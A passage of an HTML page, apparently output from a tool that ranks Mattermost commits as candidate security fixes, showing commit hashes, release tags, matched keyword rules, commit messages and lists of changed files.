    Changed files in commit
    + +
      +
    • + + server/build/docker-compose.common.yml + + server/platform/shared/filestore/s3store.go + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [MM-59296] Can't open web client on iOS Safari (#27607) (#27696)... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 8 +
    + +
    +
    +
    + + Tag: v9.10.1 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_FILES + + COMMIT_HAS_TWINS + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 23993132c67b11e5d8a0d0d789b7079868200b63 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      An advisory keyword is contained in the changed files: test
      +
    • + +
    • +
      This commit has one or more twins.
      +
    • + +
    • +
      The commit message references some github issue: 27607, 27696
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [MM-59296] Can't open web client on iOS Safari (#27607) (#27696) (cherry picked from commit 1ff54a31bca13ffb1675bab210c768f94990a2e7) Co-authored-by: M-ZubairAhmed <m-zubairahmed@protonmail.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + webapp/channels/src/components/announcement_bar/notification_permission_bar/index.test.tsx + + webapp/channels/src/components/announcement_bar/notification_permission_bar/index.tsx + + webapp/channels/src/i18n/en.json + + webapp/channels/src/utils/notifications.test.ts + + webapp/channels/src/utils/notifications.ts + +
    • +
    + + +
    Commit twins
    + + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Translations update from Mattermost Weblate (#27656) * Translated... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 8 +
    + +
    +
    +
    + + Tag: server/public/v0.1.6 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + COMMIT_HAS_TWINS + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 7b27b28d6fc2196abc034c1831d42b3aa78da166 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: file
      +
    • + +
    • +
      This commit has one or more twins.
      +
    • + +
    • +
      The commit message references some github issue: 27656
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Translations update from Mattermost Weblate (#27656) * Translated using Weblate (German) Currently translated at 100.0% (2520 of 2520 strings) Translation: Mattermost/server Translate-URL: https://translate.mattermost.com/projects/mattermost/server/de/ * Translated using Weblate (Japanese) Currently translated at 100.0% (2520 of 2520 strings) Translation: Mattermost/server Translate-URL: https://translate.mattermost.com/projects/mattermost/server/ja/ * Translated using Weblate (Chinese (Simplified)) Currently translated at 100.0% (2520 of 2520 strings) Translation: Mattermost/server Translate-URL: https://translate.mattermost.com/projects/mattermost/server/zh_Hans/ * Translated using Weblate (Chinese (Simplified)) Currently translated at 100.0% (5801 of 5801 strings) Translation: Mattermost/webapp Translate-URL: https://translate.mattermost.com/projects/mattermost/webapp/zh_Hans/ * Translated using Weblate (Polish) Currently translated at 100.0% (2520 of 2520 strings) Translation: Mattermost/server Translate-URL: https://translate.mattermost.com/projects/mattermost/server/pl/ * Translated using Weblate (Polish) Currently translated at 99.5% (5775 of 5801 strings) Translation: Mattermost/webapp Translate-URL: https://translate.mattermost.com/projects/mattermost/webapp/pl/ * Translated using Weblate (Dutch) Currently translated at 100.0% (2520 of 2520 strings) Translation: Mattermost/server Translate-URL: https://translate.mattermost.com/projects/mattermost/server/nl/ * Translated using Weblate (Russian) Currently translated at 100.0% (2520 of 2520 strings) Translation: Mattermost/server Translate-URL: https://translate.mattermost.com/projects/mattermost/server/ru/ * Translated using Weblate (Russian) Currently translated at 98.5% (5715 of 5801 strings) Translation: Mattermost/webapp Translate-URL: https://translate.mattermost.com/projects/mattermost/webapp/ru/ * Translated using Weblate (Dutch) Currently translated at 99.9% (5797 of 5801 strings) Translation: Mattermost/webapp Translate-URL: https://translate.mattermost.com/projects/mattermost/webapp/nl/ * Translated using Weblate (Polish) Currently translated at 100.0% (5801 of 5801 strings) Translation: Mattermost/webapp Translate-URL: https://translate.mattermost.com/projects/mattermost/webapp/pl/ * Translated using Weblate (Polish) Currently translated at 100.0% (5801 of 5801 strings) Translation: Mattermost/webapp Translate-URL: https://translate.mattermost.com/projects/mattermost/webapp/pl/ * Translated using Weblate (English (Australia)) Currently translated at 100.0% (2520 of 2520 strings) Translation: Mattermost/server Translate-URL: https://translate.mattermost.com/projects/mattermost/server/en_AU/ * Translated using Weblate (English (Australia)) Currently translated at 100.0% (5801 of 5801 strings) Translation: Mattermost/webapp Translate-URL: https://translate.mattermost.com/projects/mattermost/webapp/en_AU/ * Update translation files Updated by "Cleanup translation files" hook in Weblate. Translation: Mattermost/server Translate-URL: https://translate.mattermost.com/projects/mattermost/server/ * Update translation files Updated by "Cleanup translation files" hook in Weblate. Translation: Mattermost/webapp Translate-URL: https://translate.mattermost.com/projects/mattermost/webapp/ --------- Co-authored-by: jprusch <rs@schaeferbarthold.de> Co-authored-by: kaakaa <stooner.hoe@gmail.com> Co-authored-by: Sharuru <mave@foxmail.com> Co-authored-by: master7 <marcin.karkosz@rajska.info> Co-authored-by: Tom De Moor <tom@controlaltdieliet.be> Co-authored-by: Konstantin <eleferen@gmail.com> Co-authored-by: Matthew Williams <Matthew.Williams@outlook.com.au>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + server/i18n/be.json + + server/i18n/bg.json + + server/i18n/ca.json + + server/i18n/cs.json + + server/i18n/de.json + + server/i18n/en-AU.json + + server/i18n/es.json + + server/i18n/fa.json + + server/i18n/fi.json + + server/i18n/fr.json + + server/i18n/hi.json + + server/i18n/hu.json + + server/i18n/it.json + + server/i18n/ja.json + + server/i18n/ko.json + + server/i18n/nl.json + + server/i18n/pl.json + + server/i18n/pt-BR.json + + server/i18n/ro.json + + server/i18n/ru.json + + server/i18n/sv.json + + server/i18n/tr.json + + server/i18n/uk.json + + server/i18n/vi.json + + server/i18n/zh-CN.json + + server/i18n/zh-TW.json + + webapp/channels/src/i18n/be.json + + webapp/channels/src/i18n/bg.json + + webapp/channels/src/i18n/cs.json + + webapp/channels/src/i18n/de.json + + webapp/channels/src/i18n/en-AU.json + + webapp/channels/src/i18n/es.json + + webapp/channels/src/i18n/fa.json + + webapp/channels/src/i18n/fr.json + + webapp/channels/src/i18n/fy.json + + webapp/channels/src/i18n/hr.json + + webapp/channels/src/i18n/hu.json + + webapp/channels/src/i18n/it.json + + webapp/channels/src/i18n/ja.json + + webapp/channels/src/i18n/ko.json + + webapp/channels/src/i18n/lt.json + + webapp/channels/src/i18n/nl.json + + webapp/channels/src/i18n/pl.json + + webapp/channels/src/i18n/pt-BR.json + + webapp/channels/src/i18n/ro.json + + webapp/channels/src/i18n/ru.json + + webapp/channels/src/i18n/sv.json + + webapp/channels/src/i18n/tr.json + + webapp/channels/src/i18n/uk.json + + webapp/channels/src/i18n/vi.json + + webapp/channels/src/i18n/zh-CN.json + + webapp/channels/src/i18n/zh-TW.json + +
    • +
    + + +
    Commit twins
    + + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Code enhancements to feature - Sysadmin manage user settings ... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 8 +
    + +
    +
    +
    + + Tag: @mattermost/client@9.11.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_FILES + + COMMIT_HAS_TWINS + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 8848ad8a3451bc869f025638698e62478977e60b +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      An advisory keyword is contained in the changed files: test, limit
      +
    • + +
    • +
      This commit has one or more twins.
      +
    • + +
    • +
      The commit message references some github issue: 27636, 27680
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Code enhancements to feature - Sysadmin manage user settings (#27636) (#27680) Automatic Merge
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + webapp/channels/src/components/confirm_modal_redux/confirm_modal_redux.tsx + + webapp/channels/src/components/user_settings/advanced/index.ts + + webapp/channels/src/components/user_settings/advanced/join_leave_section/index.ts + + webapp/channels/src/components/user_settings/advanced/join_leave_section/join_leave_section.test.tsx + + webapp/channels/src/components/user_settings/advanced/join_leave_section/join_leave_section.tsx + + webapp/channels/src/components/user_settings/advanced/performance_debugging_section/index.ts + + webapp/channels/src/components/user_settings/advanced/performance_debugging_section/performance_debugging_section.tsx + + webapp/channels/src/components/user_settings/advanced/user_settings_advanced.test.tsx + + webapp/channels/src/components/user_settings/advanced/user_settings_advanced.tsx + + webapp/channels/src/components/user_settings/display/index.ts + + webapp/channels/src/components/user_settings/display/user_settings_display.tsx + + webapp/channels/src/components/user_settings/index.tsx + + webapp/channels/src/components/user_settings/modal/index.ts + + webapp/channels/src/components/user_settings/modal/user_settings_modal.tsx + + webapp/channels/src/components/user_settings/sidebar/limit_visible_gms_dms/index.ts + + webapp/channels/src/components/user_settings/sidebar/limit_visible_gms_dms/limit_visible_gms_dms.tsx + + webapp/channels/src/components/user_settings/sidebar/show_unreads_category/index.ts + + webapp/channels/src/components/user_settings/sidebar/show_unreads_category/show_unreads_category.tsx + + webapp/channels/src/components/user_settings/sidebar/user_settings_sidebar.tsx + + webapp/channels/src/components/widgets/smart_loader/index.tsx + + webapp/channels/src/packages/mattermost-redux/src/selectors/entities/channel_categories.ts + + webapp/channels/src/packages/mattermost-redux/src/selectors/entities/preferences.ts + + webapp/channels/src/selectors/views/channel_sidebar.ts + +
    • +
    + + +
    Commit twins
    + + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [MM-59083] Handle permissions in user management options (#27668)... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 8 +
    + +
    +
    +
    + + Tag: @mattermost/client@9.11.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_FILES + + COMMIT_HAS_TWINS + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 38e31084eb878648bfdcf49cc7bbaa0d594d6103 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      An advisory keyword is contained in the changed files: console, system
      +
    • + +
    • +
      This commit has one or more twins.
      +
    • + +
    • +
      The commit message references some github issue: 27668, 27679
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [MM-59083] Handle permissions in user management options (#27668) (#27679) Automatic Merge
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + webapp/channels/src/components/admin_console/system_user_detail/system_user_detail.tsx + + webapp/channels/src/components/admin_console/system_users/system_users_list_actions/confirm_manage_user_settings_modal.tsx + + webapp/channels/src/components/admin_console/system_users/system_users_list_actions/index.tsx + + webapp/channels/src/i18n/en.json + +
    • +
    + + +
    Commit twins
    + + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + MM-59099 Show invalid emoji text with its original case (#27603)... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 8 +
    + +
    +
    +
    + + Tag: @mattermost/client@9.11.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_FILES + + COMMIT_HAS_TWINS + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 8cb0631c56825d84e512943a61c80f1811b90f1d +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      An advisory keyword is contained in the changed files: test
      +
    • + +
    • +
      This commit has one or more twins.
      +
    • + +
    • +
      The commit message references some github issue: 27603, 27673
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      MM-59099 Show invalid emoji text with its original case (#27603) (#27673) Automatic Merge
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + webapp/channels/src/components/post_emoji/post_emoji.test.tsx + + webapp/channels/src/components/post_emoji/post_emoji.tsx + + webapp/channels/src/utils/emoticons.tsx + + webapp/channels/src/utils/message_html_to_component.test.tsx + + webapp/channels/src/utils/message_html_to_component.tsx + +
    • +
    + + +
    Commit twins
    + + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + MM-59416 Don't request notification permissions when we already have... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 8 +
    + +
    +
    +
    + + Tag: @mattermost/client@9.11.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_FILES + + COMMIT_HAS_TWINS + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + dc3710138a37117352987a53954c7a836b91e7c1 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      An advisory keyword is contained in the changed files: test
      +
    • + +
    • +
      This commit has one or more twins.
      +
    • + +
    • +
      The commit message references some github issue: 27629, 27672
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      MM-59416 Don't request notification permissions when we already have them (#27629) (#27672) Automatic Merge
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + webapp/channels/src/utils/notifications.test.ts + + webapp/channels/src/utils/notifications.ts + +
    • +
    + + +
    Commit twins
    + + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [MM-58750] Update prepackage calls to v0.29.0 for MM v9.11 (#27642)... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 8 +
    + +
    +
    +
    + + Tag: @mattermost/client@9.11.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_FILES + + COMMIT_HAS_TWINS + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 3899de6c047022baa4e8484c748bedd080d76a52 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      An advisory keyword is contained in the changed files: file
      +
    • + +
    • +
      This commit has one or more twins.
      +
    • + +
    • +
      The commit message references some github issue: 27642, 27643
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [MM-58750] Update prepackage calls to v0.29.0 for MM v9.11 (#27642) (#27643) Automatic Merge
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + server/Makefile + +
    • +
    + + +
    Commit twins
    + + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + testing image scanning + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 8 +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + +
    +
    +
    +
    + + + + +
    +
    +
    + 3946012358e24673124533b31cd80ec118743fb2 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: test
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: file
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      testing image scanning
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + server/build/Dockerfile + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Test image scanning + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 8 +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + +
    +
    +
    +
    + + + + +
    +
    +
    + aafca746bc09af78d454975ddaa5490dc7fd304e +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: test
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: file
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Test image scanning
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + server/build/Dockerfile + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + MM-58245 Don't allow patching real email or username for remote... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 8 +
    + +
    +
    +
    + + Tag: v9.5.8 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + COMMIT_HAS_TWINS + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + cf6d80f9e74dc5925dc4e14b82d2583ec2df3b40 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: allow
      +
    • + +
    • +
      This commit has one or more twins.
      +
    • + +
    • +
      The commit message references some github issue: 27613, 27622
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      MM-58245 Don't allow patching real email or username for remote users (#27613) (#27622) Automatic Merge
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + server/platform/services/sharedchannel/sync_recv.go + +
    • +
    + + +
    Commit twins
    + + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + MM-58771 - Make manage_server permission, non updatable (#27481)... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 8 +
    + +
    +
    +
    + + Tag: v9.5.8 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_FILES + + COMMIT_HAS_TWINS + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 8bfce4207a89457012f85ca99782766a35331a89 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      An advisory keyword is contained in the changed files: role, test
      +
    • + +
    • +
      This commit has one or more twins.
      +
    • + +
    • +
      The commit message references some github issue: 27481, 27546
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      MM-58771 - Make manage_server permission, non updatable (#27481) (#27546) Automatic Merge
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + server/channels/api4/role.go + + server/channels/api4/role_test.go + +
    • +
    + + +
    Commit twins
    + + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + tests, lint and docs + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 8 +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + +
    +
    +
    +
    + + + + +
    +
    +
    + 09a66c66ad17991327de851a3452a94b49f7d56e +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: test
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: file, test
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      tests, lint and docs
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + server/channels/app/post.go + + server/channels/app/post_test.go + + server/channels/store/searchlayer/file_info_layer.go + + webapp/channels/src/packages/mattermost-redux/src/reducers/entities/posts.test.ts + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + require Permission to user to mark channels as read (#27468)... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 8 +
    + +
    +
    +
    + + Tag: v9.5.8 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_FILES + + COMMIT_HAS_TWINS + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 9ceadc56560e02fc546352c66f5e2cc351aecf58 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      An advisory keyword is contained in the changed files: test
      +
    • + +
    • +
      This commit has one or more twins.
      +
    • + +
    • +
      The commit message references some github issue: 27468, 27524
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      require Permission to user to mark channels as read (#27468) (#27524) Automatic Merge
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + server/channels/api4/channel.go + + server/channels/api4/channel_test.go + +
    • +
    + + +
    Commit twins
    + + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [MM-58840] Add routing restrictions (#27482) (#27519) Automatic Merge + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 8 +
    + +
    +
    +
    + + Tag: v9.8.3 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_FILES + + COMMIT_HAS_TWINS + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + bcac4391c2cba0e63bcdcd73533d9cb2969199a4 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      An advisory keyword is contained in the changed files: configuration, console, test, system
      +
    • + +
    • +
      This commit has one or more twins.
      +
    • + +
    • +
      The commit message references some github issue: 27482, 27519
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [MM-58840] Add routing restrictions (#27482) (#27519) Automatic Merge
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + e2e-tests/cypress/tests/integration/channels/enterprise/system_console/group_configuration_spec.js + + e2e-tests/cypress/tests/integration/channels/enterprise/system_console/team_members_spec.js + + e2e-tests/cypress/tests/integration/channels/system_console/user_management_spec.js + + webapp/channels/src/components/admin_console/admin_definition.tsx + +
    • +
    + + +
    Commit twins
    + + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + require regenerate invite id to have invite permission (#27427)... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 8 +
    + +
    +
    +
    + + Tag: v9.5.8 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_FILES + + COMMIT_HAS_TWINS + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + e6a5d03b5a67b26380946a83080d47aca5110703 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      An advisory keyword is contained in the changed files: test
      +
    • + +
    • +
      This commit has one or more twins.
      +
    • + +
    • +
      The commit message references some github issue: 27427, 27522
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      require regenerate invite id to have invite permission (#27427) (#27522) Automatic Merge
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + server/channels/api4/team.go + + server/channels/api4/team_test.go + +
    • +
    + + +
    Commit twins
    + + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Revert role.js to its release-9.5 version + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 8 +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + +
    +
    +
    +
    + + + + +
    +
    +
    + d525f54e7d10dfde23b2b6ae564c92bad5c7b53d +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: role, version
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: role, test
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Revert role.js to its release-9.5 version
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + e2e-tests/cypress/tests/support/api/role.js + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + unit tests and some adjustments + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 8 +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + +
    +
    +
    +
    + + + + +
    +
    +
    + 72b1205275e0e3cb69d8c9c3a33a06a617200788 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: test
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: file, test
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      unit tests and some adjustments
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + server/channels/api4/post.go + + server/channels/api4/post_local.go + + server/channels/app/app_iface.go + + server/channels/app/file.go + + server/channels/app/file_test.go + + server/channels/app/opentracing/opentracing_layer.go + + server/channels/app/post.go + + server/channels/app/post_test.go + + server/channels/store/storetest/file_info_store.go + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Remove deprecated function (#27605) * make /ancillary a post *... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: server/public/v0.1.6 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + db138fd23a6984ef94201cc2635ce0cdcf191f50 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: test
      +
    • + +
    • +
      The commit message references some github issue: 27605
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Remove deprecated function (#27605) * make /ancillary a post * remove get from client, fix tests * remove GET for retrieving ancillary permissions * Update permissions.yaml * Update permissions.yaml --------- Co-authored-by: Mattermost Build <build@mattermost.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + api/v4/source/permissions.yaml + + server/channels/api4/permission.go + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + fix wrong property set (#27625) (#27690) Automatic Merge + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: @mattermost/client@9.11.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 53b1d1fe6bb24c3fb9a6729c82d208c951a8b003 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      An advisory keyword is contained in the changed files: console
      +
    • + +
    • +
      The commit message references some github issue: 27625, 27690
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      fix wrong property set (#27625) (#27690) Automatic Merge
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + webapp/channels/src/components/admin_console/feature_discovery/features/saml.tsx + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + fix wrong property set (#27625) (#27687) Automatic Merge + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: v9.10.1 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 4fb7c26a2cf6f54b5571d5cbaaae73cb4c7399cf +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      An advisory keyword is contained in the changed files: console
      +
    • + +
    • +
      The commit message references some github issue: 27625, 27687
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      fix wrong property set (#27625) (#27687) Automatic Merge
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + webapp/channels/src/components/admin_console/feature_discovery/features/saml.tsx + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + fix wrong property set (#27625) Co-authored-by: Mattermost Build... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: server/public/v0.1.6 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + fb790a860bc5d3f3a23f89a5f0e05c94cac99c9c +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      An advisory keyword is contained in the changed files: console
      +
    • + +
    • +
      The commit message references some github issue: 27625
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      fix wrong property set (#27625) Co-authored-by: Mattermost Build <build@mattermost.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + webapp/channels/src/components/admin_console/feature_discovery/features/saml.tsx + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Automated cherry pick of #27573 (#27651) Co-authored-by: Ben... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: @mattermost/client@9.11.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + d44951eed0d86d0b4bacfb449f6b840be430a96e +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      An advisory keyword is contained in the changed files: test, system
      +
    • + +
    • +
      The commit message references some github issue: 27573, 27651
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Automated cherry pick of #27573 (#27651) Co-authored-by: Ben Schumacher <ben.schumacher@mattermost.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + server/channels/app/support_packet.go + + server/channels/app/support_packet_test.go + + server/public/model/packet_metadata.go + + server/public/pluginapi/system.go + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Automated cherry pick of #27571 (#27647) Co-authored-by: Ben... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: @mattermost/client@9.11.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + c87c5fa79d2427fa742842474d3d4576ba2b1fce +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      An advisory keyword is contained in the changed files: test
      +
    • + +
    • +
      The commit message references some github issue: 27571, 27647
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Automated cherry pick of #27571 (#27647) Co-authored-by: Ben Schumacher <ben.schumacher@mattermost.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
